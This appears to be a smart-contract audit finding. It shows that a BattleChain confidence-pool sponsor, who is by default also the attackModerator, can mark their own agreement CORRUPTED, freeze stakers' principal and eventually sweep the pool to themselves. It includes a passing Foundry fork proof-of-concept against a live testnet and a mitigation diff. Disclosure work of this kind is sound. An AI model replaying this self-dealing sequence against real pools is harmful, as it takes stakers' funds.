Root + Impact
Description
Normally the CORRUPTED registry signal is meant to be neutral ground truth: the pool trusts the BattleChain registry's CORRUPTED state, and DESIGN.md §10 enumerates the sponsor's trust surface as only recoveryAddress, expiry, and pool scope, so the sponsor is not supposed to be able to move the registry into CORRUPTED.
In fact the factory forces the pool creator to be the agreement owner and forwards that same address as the pool owner and the party that sets recoveryAddress; on the BattleChain registry the agreement owner is also the per-agreement attackModerator, the only role markCorrupted requires. So the sponsor can drive their own agreement to CORRUPTED with no real breach, which the pool consumes as truth, freezing all staker principal for the full 180-day moderator grace and, if the DAO moderator stays absent, sweeping the entire pool to the sponsor's own recoveryAddress.
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
IConfidencePool(pool).initialize(
agreement, stakeToken, address(safeHarborRegistry), defaultOutcomeModerator,
expiry, minStake,
@> recoveryAddress,
@> msg.sender,
accounts
);
s_agreementInfo[agreementAddress] = AgreementInfo({
@> attackModerator: agreementOwner,
...
});
@> function markCorrupted(address a) external onlyAttackModerator(a) { ...; corrupted = true; _markBondClaimable(a); }
@> return IAttackRegistry(attackRegistry).getAgreementState(agreement);
@> if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
@> revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
@> corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
return;
}
Risk
Likelihood:
Occurs whenever a sponsor creates a pool for their own agreement (the only allowed creator) and later calls markCorrupted, a role they hold by default on every agreement they own, requiring no privileged compromise.
The missing riskWindowStart != 0 precondition is satisfied by the sponsor themselves: staking observes UNDER_ATTACK and seals it, or the sponsor calls permissionless pokeRiskWindow() while the agreement is in its normal active-risk state.
The temporary-freeze impact lands unilaterally; the full-seizure escalation additionally requires the trusted DAO outcomeModerator to remain absent for the entire post-expiry grace (which is why overall likelihood is Low, not High).
Impact:
100% of staker principal is frozen for up to 180 days (expiry + MODERATOR_CORRUPTED_GRACE) on the sponsor's unilateral action, breaking the permissionless expiry-resolution backstop.
If the moderator does not flag SURVIVED during the grace, the mechanical auto-CORRUPTED path lets anyone finalize and claimCorrupted sweeps the whole pool (principal + bonus) to the sponsor's recoveryAddress, a total loss to stakers with no real breach.
Violates the DESIGN.md §10 sponsor trust surface, which does not disclose that the sponsor can produce the CORRUPTED signal at all.
Proof of Concept
Fork PoC against the live BattleChain testnet registry (chainId 627, pinned block 16000). It proves on-chain that the sponsor is the attackModerator, fabricates CORRUPTED, freezes the staker, and after the grace sweeps the whole pool to itself.
function testSponsorIsAttackModeratorAndCanSelfDealThePool() external {
assertEq(attackRegistry.getAttackModerator(DEMO_AGREEMENT), DEMO_AGREEMENT_OWNER, "sponsor is attackModerator");
address sponsor = DEMO_AGREEMENT_OWNER;
address[] memory accounts = new address[](1);
accounts[0] = DEMO_AGREEMENT_IN_SCOPE;
uint256 expiry = block.timestamp + 31 days;
vm.prank(sponsor);
IConfidencePool pool = IConfidencePool(
factory.createPool(DEMO_AGREEMENT, address(stakeToken), expiry, 1e18, sponsor, accounts)
);
uint256 principal = 1_000 ether;
stakeToken.mint(alice, principal);
vm.startPrank(alice);
stakeToken.approve(address(pool), principal);
pool.stake(principal);
vm.stopPrank();
assertTrue(pool.riskWindowStart() != 0, "risk window sealed");
vm.prank(sponsor);
attackRegistry.markCorrupted(DEMO_AGREEMENT);
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
vm.warp(expiry + 1);
vm.prank(alice);
vm.expectRevert(IConfidencePool.AgreementCorruptedAwaitingModerator.selector);
pool.claimExpired();
vm.warp(expiry + pool.MODERATOR_CORRUPTED_GRACE() + 1);
pool.claimExpired();
uint256 sponsorBefore = stakeToken.balanceOf(sponsor);
pool.claimCorrupted();
assertEq(stakeToken.balanceOf(sponsor) - sponsorBefore, principal, "sponsor swept the whole pool to self");
assertEq(stakeToken.balanceOf(alice), 0, "staker lost 100% of principal, no breach occurred");
}
Run:
BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com \
forge test --match-test testSponsorIsAttackModeratorAndCanSelfDealThePool -vv
Result (passes against the live testnet):
Ran 1 test for test/fork/MetatronSponsorSelfDeal.fork.t.sol:MetatronSponsorSelfDealForkTest
[PASS] testSponsorIsAttackModeratorAndCanSelfDealThePool() (gas: 959808)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.05s (5.37ms CPU time)
Ran 1 test suite in 1.08s (1.05s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
Do not let the party that controls the registry CORRUPTED signal also be the CORRUPTED sweep beneficiary. Reject the sponsor==attackModerator collision at resolution (or require an independent DAO flag for any principal-moving CORRUPTED, removing the permissionless auto-CORRUPTED sweep):
function claimExpired() external nonReentrant {
...
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
+ // The attack-moderator (who can fabricate CORRUPTED) must not also be the sweep beneficiary.
+ address attackModerator =
+ IAttackRegistry(safeHarborRegistry.getAttackRegistry()).getAttackModerator(agreement);
+ if (attackModerator == recoveryAddress || attackModerator == owner()) {
+ revert AgreementCorruptedAwaitingModerator();
+ }
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
...
}
}